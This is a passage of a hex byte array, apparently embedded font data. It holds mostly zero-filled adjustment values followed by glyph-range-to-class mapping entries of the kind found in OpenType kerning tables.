0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF3, + 0x00, 0x00, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xC7, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE7, 0xFF, 0xC4, 0xFF, 0xD1, + 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x04, 0xFF, 0xEE, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x12, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x00, + 0xFF, 0xEE, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xBF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFD, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x00, 0x19, + 0x00, 0x11, 0x00, 0x12, 0x00, 0x27, 0x00, 0x00, + 0x00, 0x2B, 0x00, 0x07, 0xFF, 0xDA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xFF, 0xC6, + 0x00, 0x10, 0xFF, 0xCE, 0xFF, 0xD2, 0xFF, 0x66, + 0x00, 0x3B, 0x00, 0x00, 0x00, 0x34, 0xFF, 0xAF, + 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x16, 0xFF, 0xEE, 0x00, 0x3D, + 0xFF, 0x2B, 0xFF, 0x9E, 0xFF, 0xAA, 0xFF, 0xCA, + 0xFF, 0xB6, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x02, 0x02, 0x49, 0x00, 0x12, 0x00, 0x12, + 0x00, 0x6A, 0x00, 0x19, 0x00, 0x19, 0x00, 0x33, + 0x00, 0x1D, 0x00, 0x1D, 0x00, 0x34, 0x00, 0x1F, + 0x00, 0x1F, 0x00, 0x34, 0x00, 0x30, 0x00, 0x30, + 0x00, 0x6B, 0x00, 0x32, 0x00, 0x32, 0x00, 0x02, + 0x00, 0x33, 0x00, 0x33, 0x00, 0x05, 0x00, 0x34, + 0x00, 0x34, 0x00, 0x09, 0x00, 0x35, 0x00, 0x35, + 0x00, 0x3C, 0x00, 0x36, 0x00, 0x36, 0x00, 0x10, + 0x00, 0x37, 0x00, 0x37, 0x00, 0x18, 0x00, 0x38, + 0x00, 0x38, 0x00, 0x1B, 0x00, 0x39, 0x00, 0x3A, + 0x00, 0x47, 0x00, 0x3B, 0x00, 0x3B, 0x00, 0x21, + 0x00, 0x3C, 0x00, 0x3C, 0x00, 0x25, 0x00, 0x3D, + 0x00, 0x3D, 0x00, 0x28, 0x00, 0x3E, 0x00, 0x3E, + 0x00, 0x2B, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x2F, + 0x00, 0x40, 0x00, 0x40, 0x00, 0x3C, 0x00, 0x41, + 0x00, 0x41, 0x00, 0x36, 0x00, 0x42, 0x00, 0x42, + 0x00, 0x3C, 0x00, 0x43, 0x00, 0x43, 0x00, 0x40, + 0x00, 0x44, 0x00, 0x44, 0x00, 0x4B, 0x00, 0x45, + 0x00, 0x45, 0x00, 0x53, 0x00, 0x46, 0x00, 0x46, + 0x00, 0x56, 0x00, 0x47, 0x00, 0x48, 0x00, 0x5A, + 0x00, 0x49, 0x00, 0x49, 0x00, 0x5E, 0x00, 0x4A, + 0x00, 0x4A, 0x00, 0x61, 0x00, 0x4B, 0x00, 0x4B, + 0x00, 0x67, 0x00, 0x4C, 0x00, 0x4C, 0x00, 0x33, + 0x00, 0x53, 0x00, 0x53, 0x00, 0x3A, 0x00, 0x54, + 0x00, 0x54, 0x00, 0x07, 0x00, 0x55, 0x00, 0x55, + 0x00, 0x0B, 0x00, 0x56, 0x00, 0x56, 0x00, 0x0E, + 0x00, 0x57, 0x00, 0x57, 0x00, 0x16, 0x00, 0x58, + 0x00, 0x58, 0x00, 0x1A, 0x00, 0x59, 0x00, 0x59, + 0x00, 0x1D, 0x00, 0x5A, 0x00, 0x5A, 0x00, 0x0B, + 0x00, 0x5B, 0x00, 0x5B, 0x00, 0x1F, 0x00, 0x5C, + 0x00, 0x5C, 0x00, 0x23, 0x00, 0x5D, 0x00, 0x5D, + 0x00, 0x0B, 0x00, 0x5E, 0x00, 0x5F, 0x00, 0x1D, + 0x00, 0x60, 0x00, 0x61, 0x00, 0x3A, 0x00, 0x62, + 0x00, 0x62, 0x00, 0x1F, 0x00, 0x63, 0x00, 0x63, + 0x00, 0x3E, 0x00, 0x64, 0x00, 0x64, 0x00, 0x49, + 0x00, 0x65, 0x00, 0x65, 0x00, 0x51, 0x00, 0x66, + 0x00, 0x66, 0x00, 0x0B, 0x00, 0x67, 0x00, 0x68, + 0x00, 0x58, 0x00, 0x69, 0x00, 0x69, 0x00, 0x5C, + 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x58, 0x00, 0x6B, + 0x00, 0x6B, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, + 0x00, 0x33, 0x00, 0x92, 0x00, 0x92, 0x00, 0x6A, + 0x00, 0xB0, 0x00, 0xB0, 0x00, 0x6C, 0x00, 0xB1, + 0x00, 0xB6, 0x00, 0x02, 0x00, 0xB8, 0x00, 0xB8, + 0x00, 0x09, 0x00, 0xB9, 0x00, 0xBC, 0x00, 0x10, + 0x00, 0xBD, 0x00, 0xC0, 0x00, 0x47, 0x00, 0xC1, + 0x00, 0xC1, 0x00, 0x3C, 0x00, 0xC2, 0x00, 0xC2, + 0x00, 0x2F, 0x00, 0xC3, 0x00, 0xC7, 0x00, 0x3C, + 0x00, 0xC9, 0x00, 0xC9, 0x00, 0x3C, 0x00, 0xCA, + 0x00, 0xCD, 0x00, 0x56, 0x00, 0xCE, 0x00, 0xCE, + 0x00, 0x61, 0x00, 0xD0, 0x00, 0xD0, 0x00, 0x49, + 0x00, 0xD7, 0x00, 0xD7, 0x00, 0x0E, 0x00, 0xD8, + 0x00, 0xD8, 0x00, 0x07, 0x00, 0xD9, 0x00, 0xDC, + 0x00, 0x0E, 0x00, 0xDD, 0x00, 0xE0, 0x00, 0x0B, + 0x00, 0xE2, 0x00, 0xE2, 0x00, 0x1D, 0x00, 0xE3, + 0x00, 0xE7, 0x00, 0x3A, 0x00, 0xE9, 0x00, 0xE9, + 0x00, 0x3A, 0x00, 0xEA, 0x00, 0xED, 0x00, 0x0B, + 0x00, 0xEE, 0x00, 0xEE, 0x00, 0x58, 0x00, 0xEF, + 0x00, 0xEF, 0x00, 0x3A, 0x00, 0xF0, 0x00, 0xF0, + 0x00, 0x58, 0x00, 0xF1, 0x00, 0xF1, 0x00, 0x02, + 0x00, 0xF3, 0x00, 0xF3, 0x00, 0x02, 0x00, 0xF5, + 0x00, 0xF5, 0x00, 0x02, 0x00, 0xF7, 0x00, 0xF7, + 0x00, 0x09, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0x07, + 0x00, 0xF9, 0x00, 0xF9, 0x00, 0x09, 0x00, 0xFA, + 0x00, 0xFA, 0x00, 0x07, 0x00, 0xFB, 0x00, 0xFB, + 0x00, 0x09, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0x07, + 0x00, 0xFD, 0x00, 0xFD, 0x00, 0x09, 0x00, 0xFE, + 0x00, 0xFE, 0x00, 0x07, 0x00, 0xFF, 0x00, 0xFF, + 0x00, 0x3C, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0B, + 0x01, 0x01, 0x01, 0x01, 0x00, 0x3C, 0x01, 0x02, + 0x01, 0x02, 0x00, 0x0B, 0x01, 0x03, 0x01, 0x03, + 0x00, 0x10, 0x01, 0x04, 0x01, 0x04, 0x00, 0x0E, + 0x01, 0x05, 0x01, 0x05, 0x00, 0x10, 0x01, 0x06, + 0x01, 0x06, 0x00, 0x0E, 0x01, 0x07, 0x01, 0x07, + 0x00, 0x10, 0x01, 0x08, 0x01, 0x08, 0x00, 0x0E, + 0x01, 0x09, 0x01, 0x09, 0x00, 0x10, 0x01, 0x0A, + 0x01, 0x0A, 0x00, 0x0E, 0x01, 0x0B, 0x01, 0x0B, + 0x00, 0x10, 0x01, 0x0C, 0x01, 0x0C, 0x00, 0x0E, + 0x01, 0x0D, 0x01, 0x0D, 0x00, 0x1B, 0x01, 0x0E, + 0x01, 0x0E, 0x00, 0x1A, 0x01, 0x0F, 0x01, 0x0F, + 0x00, 0x1B, 0x01, 0x10, 0x01, 0x10, 0x00, 0x1A, + 0x01, 0x11, 0x01, 0x11, 0x00, 0x1B, 0x01, 0x12, + 0x01, 0x12, 0x00, 0x1A, 0x01, 0x13, 0x01, 0x13, + 0x00, 0x1B, 0x01, 0x14, 0x01, 0x14, 0x00, 0x1A, + 0x01, 0x15, 0x01, 0x15, 0x00, 0x47, 0x01, 0x16, + 0x01, 0x16, 0x00, 0x1D, 0x01, 0x17, 0x01, 0x17, + 0x00, 0x47, 0x01, 0x18, 0x01, 0x18, 0x00, 0x1D, + 0x01, 0x19, 0x01, 0x19, 0x00, 0x47, 0x01, 0x1A, + 0x01, 0x1A, 0x00, 0x0B, 0x01, 0x1B, 0x01, 0x1B, + 0x00, 0x47, 0x01, 0x1C, 0x01, 0x1C, 0x00, 0x0B, + 0x01, 0x1D, 0x01, 0x1D, 0x00, 0x47, 0x01, 0x1E, + 0x01, 0x1E, 0x00, 0x0B, 0x01, 0x1F, 0x01, 0x1F, + 0x00, 0x47, 0x01, 0x20, 0x01, 0x20, 0x00, 0x0B, + 0x01, 0x21, 0x01, 0x21, 0x00, 0x47, 0x01, 0x22, + 0x01, 0x22, 0x00, 0x0B, 0x01, 0x23, 0x01, 0x23, + 0x00, 0x21, 0x01, 0x24, 0x01, 0x24, 0x00, 0x1F, + 0x01, 0x25, 0x01, 0x25, 0x00, 0x21, 0x01, 0x26, + 0x01, 0x26, 0x00, 0x1F, 0x01, 0x27, 0x01, 0x27, + 0x00, 0x25, 0x01, 0x28, 0x01, 0x28, 0x00, 0x23, + 0x01, 0x2A, 0x01, 0x2A, 0x00, 0x28, 0x01, 0x2B, + 0x01, 0x2B, 0x00, 0x0B, 0x01, 0x2C, 0x01, 0x2C, + 0x00, 0x28, 0x01, 0x2D, 0x01, 0x2D, 0x00, 0x0B, + 0x01, 0x2E, 0x01, 0x2E, 0x00, 0x28, 0x01, 0x2F, + 0x01, 0x2F, 0x00, 0x0B, 0x01, 0x30, 0x01, 0x30, + 0x00, 0x28, 0x01, 0x31, 0x01, 0x31, 0x00, 0x0B, + 0x01, 0x32, 0x01, 0x32, 0x00, 0x28, 0x01, 0x34, + 0x01, 0x34, 0x00, 0x2F, 0x01, 0x35, 0x01, 0x35, + 0x00, 0x1D, 0x01, 0x36, 0x01, 0x36, 0x00, 0x2F, + 0x01, 0x37, 0x01, 0x37, 0x00, 0x1D, 0x01, 0x38, + 0x01, 0x38, 0x00, 0x2F, 0x01, 0x39, 0x01, 0x3A, + 0x00, 0x1D, 0x01, 0x3B, 0x01, 0x3B, 0x00, 0x2F, + 0x01, 0x3C, 0x01, 0x3C, 0x00, 0x1D, 0x01, 0x3D, + 0x01, 0x3D, 0x00, 0x3C, 0x01, 0x3E, 0x01, 0x3E, + 0x00, 0x3A, 0x01, 0x3F, 0x01, 0x3F, 0x00, 0x3C, + 0x01, 0x40, 0x01, 0x40, 0x00, 0x3A, 0x01, 0x41, + 0x01, 0x41, 0x00, 0x3C, 0x01, 0x42, 0x01, 0x42, + 0x00, 0x3A, 0x01, 0x44, 0x01, 0x44, 0x00, 0x0E, + 0x01, 0x45, 0x01, 0x45, 0x00, 0x40, 0x01, 0x46, + 0x01, 0x46, 0x00, 0x3E, 0x01, 0x47, 0x01, 0x47, + 0x00, 0x40, 0x01, 0x48, 0x01, 0x48, 0x00, 0x3E, + 0x01, 0x49, 0x01, 0x49, 0x00, 0x40, 0x01, 0x4A, + 0x01, 0x4A, 0x00, 0x3E, 0x01, 0x4B, 0x01, 0x4B, + 0x00, 0x4B, 0x01, 0x4C, 0x01, 0x4C, 0x00, 0x49, + 0x01, 0x4D, 0x01, 0x4D, 0x00, 0x4B, 0x01, 0x4E, + 0x01, 0x4E, 0x00, 0x49, 0x01, 0x4F, 0x01, 0x4F, + 0x00, 0x4B, 0x01, 0x50, 0x01, 0x50, 0x00, 0x49, + 0x01, 0x51, 0x01, 0x51, 0x00, 0x4B, 0x01, 0x52, + 0x01, 0x52, 0x00, 0x49, 0x01, 0x53, 0x01, 0x53, + 0x00, 0x53, 0x01, 0x54, 0x01, 0x54, 0x00, 0x51, + 0x01, 0x55, 0x01, 0x55, 0x00, 0x53, 0x01, 0x56, + 0x01, 0x56, 0x00, 0x51, 0x01, 0x59, 0x01, 0x59, + 0x00, 0x56, 0x01, 0x5A, 0x01, 0x5A, 0x00, 0x0B, + 0x01, 0x5B, 0x01, 0x5B, 0x00, 0x56, 0x01, 0x5C, + 0x01, 0x5C, 0x00, 0x0B, 0x01, 0x5D, 0x01, 0x5D, + 0x00, 0x56, 0x01, 0x5E, 0x01, 0x5E, 0x00, 0x0B, + 0x01, 0x5F, 0x01, 0x5F, 0x00, 0x56, 0x01, 0x60, + 0x01, 0x60, 0x00, 0x0B, 0x01, 0x61, 0x01, 0x61, + 0x00, 0x56, 0x01, 0x62, 0x01, 0x62, 0x00, 0x0B, + 0x01, 0x63, 0x01, 0x63, 0x00, 0x56, 0x01, 0x64, + 0x01, 0x64, 0x00, 0x0B, 0x01, 0x65, 0x01, 0x65, + 0x00, 0x5A, 0x01, 0x66, 0x01, 0x66, 0x00, 0x58, + 0x01, 0x67, 0x01, 0x67, 0x00, 0x61, 0x01, 0x68, + 0x01, 0x68, 0x00, 0x58, 0x01, 0x69, 0x01, 0x69, + 0x00, 0x61, 0x01, 0x6A, 0x01, 0x6A, 0x00, 0x67, + 0x01, 0x6B, 0x01, 0x6B, 0x00, 0x65, 0x01, 0x6C, + 0x01, 0x6C, 0x00, 0x67, 0x01, 0x6D, 0x01, 0x6D, + 0x00, 0x65, 0x01, 0x6E, 0x01, 0x6E, 0x00, 0x67, + 0x01, 0x6F, 0x01, 0x6F, 0x00, 0x65, 0x01, 0x70, + 0x01, 0x70, 0x00, 0x16, 0x7F, 0xD8, 0x7F, 0xD8, + 0x00, 0x01, 0x7F, 0xD9, 0x7F, 0xD9, 0x00, 0x03, + 0x7F, 0xDA, 0x7F, 0xDB, 0x00, 0x0F, 0x7F, 0xDC, + 0x7F, 0xDC, 0x00, 0x01, 0x7F, 0xDD, 0x7F, 0xDD, + 0x00, 0x03, 0x7F, 0xDE, 0x7F, 0xDE, 0x00, 0x01, + 0x7F, 0xDF, 0x7F, 0xDF, 0x00, 0x03, 0x7F, 0xE0, + 0x7F, 0xE0, 0x00, 0x01, 0x7F, 0xE1, 0x7F, 0xE1, + 0x00, 0x03, 0x7F, 0xE2, 0x7F, 0xE2, 0x00, 0x01, + 0x7F, 0xE3, 0x7F, 0xE3, 0x00, 0x03, 0x7F, 0xE4, + 0x7F, 0xE4, 0x00, 0x01, 0x7F, 0xE5, 0x7F, 0xE5, + 0x00, 0x03, 0x7F, 0xE6, 0x7F, 0xE6, 0x00, 0x01, + 0x7F, 0xE7, 0x7F, 0xE7, 0x00, 0x03, 0x7F, 0xE8, + 0x7F, 0xE8, 0x00, 0x01, 0x7F, 0xE9, 0x7F, 0xE9, + 0x00, 0x03, 0x7F, 0xEA, 0x7F, 0xEA, 0x00, 0x01, + 0x7F, 0xEB, 0x7F, 0xEB, 0x00, 0x03, 0x7F, 0xEC, + 0x7F, 0xEC, 0x00, 0x01, 0x7F, 0xED, 0x7F, 0xED, + 0x00, 0x03, 0x7F, 0xEE, 0x7F, 0xEE, 0x00, 0x04, + 0x7F, 0xEF, 0x7F, 0xEF, 0x00, 0x06, 0x7F, 0xF0, + 0x7F, 0xF0, 0x00, 0x08, 0x7F, 0xF1, 0x7F, 0xF1, + 0x00, 0x0A, 0x7F, 0xF2, 0x7F, 0xF2, 0x00, 0x08, + 0x7F, 0xF3, 0x7F, 0xF3, 0x00, 0x0A, 0x7F, 0xF4, + 0x7F, 0xF4, 0x00, 0x08, 0x7F, 0xF5, 0x7F, 0xF5, + 0x00, 0x0A, 0x7F, 0xF6, 0x7F, 0xF6, 0x00, 0x08, + 0x7F, 0xF7, 0x7F, 0xF7, 0x00, 0x0A, 0x7F, 0xF8, + 0x7F, 0xF8, 0x00, 0x08, 0x7F, 0xF9, 0x7F, 0xF9, + 0x00, 0x0A, 0x7F, 0xFA, 0x7F, 0xFA, 0x00, 0x08, + 0x7F, 0xFB, 0x7F, 0xFB, 0x00, 0x0A, 0x7F, 0xFC, + 0x7F, 0xFC, 0x00, 0x3B, 0x7F, 0xFD, 0x7F, 0xFD, + 0x00, 0x3D, 0x7F, 0xFE, 0x7F, 0xFE, 0x00, 0x3B, + 0x7F, 0xFF, 0x7F, 0xFF, 0x00, 0x3D, 0x80, 0x00, + 0x80, 0x00, 0x00, 0x3B, 0x80, 0x01, 0x80, 0x01, + 0x00, 0x3D, 0x80, 0x02, 0x80, 0x02, 0x00, 0x0F, + 0x80, 0x03, 0x80, 0x03, 0x00, 0x11, 0x80, 0x04, + 0x80, 0x04, 0x00, 0x0F, 0x80, 0x05, 0x80, 0x05, + 0x00, 0x11, 0x80, 0x06, 0x80, 0x06, 0x00, 0x0F, + 0x80, 0x07, 0x80, 0x07, 0x00, 0x11, 0x80, 0x08, + 0x80, 0x08, 0x00, 0x0F, 0x80, 0x09, 0x80, 0x09, + 0x00, 0x11, 0x80, 0x0A, 0x80, 0x0A, 0x00, 0x0F, + 0x80, 0x0B, 0x80, 0x0B, 0x00, 0x11, 0x80, 0x0C, + 0x80, 0x0C, 0x00, 0x0F, 0x80, 0x0D, 0x80, 0x0D, + 0x00, 0x11, 0x80, 0x0E, 0x80, 0x0E, 0x00, 0x0F, + 0x80, 0x0F, 0x80, 0x0F, 0x00, 0x11, 0x80, 0x10, + 0x80, 0x10, 0x00, 0x0F, 0x80, 0x11, 0x80, 0x11, + 0x00, 0x11, 0x80, 0x12, 0x80, 0x12, 0x00, 0x0F, + 0x80, 0x13, 0x80, 0x13, 0x00, 0x11, 0x80, 0x14, + 0x80, 0x14, 0x00, 0x46, 0x80, 0x15, 0x80, 0x15, + 0x00, 0x30, 0x80, 0x16, 0x80, 0x16, 0x00, 0x0F, + 0x80, 0x17, 0x80, 0x17, 0x00, 0x11, 0x80, 0x18, + 0x80, 0x18, 0x00, 0x3B, 0x80, 0x19, 0x80, 0x19, + 0x00, 0x3D, 0x80, 0x1C, 0x80, 0x1C, 0x00, 0x17, + 0x80, 0x1D, 0x80, 0x1D, 0x00, 0x19, 0x80, 0x1F, + 0x80, 0x1F, 0x00, 0x1C, 0x80, 0x21, 0x80, 0x21, + 0x00, 0x1C, 0x80, 0x23, 0x80, 0x23, 0x00, 0x1C, + 0x80, 0x25, 0x80, 0x25, 0x00, 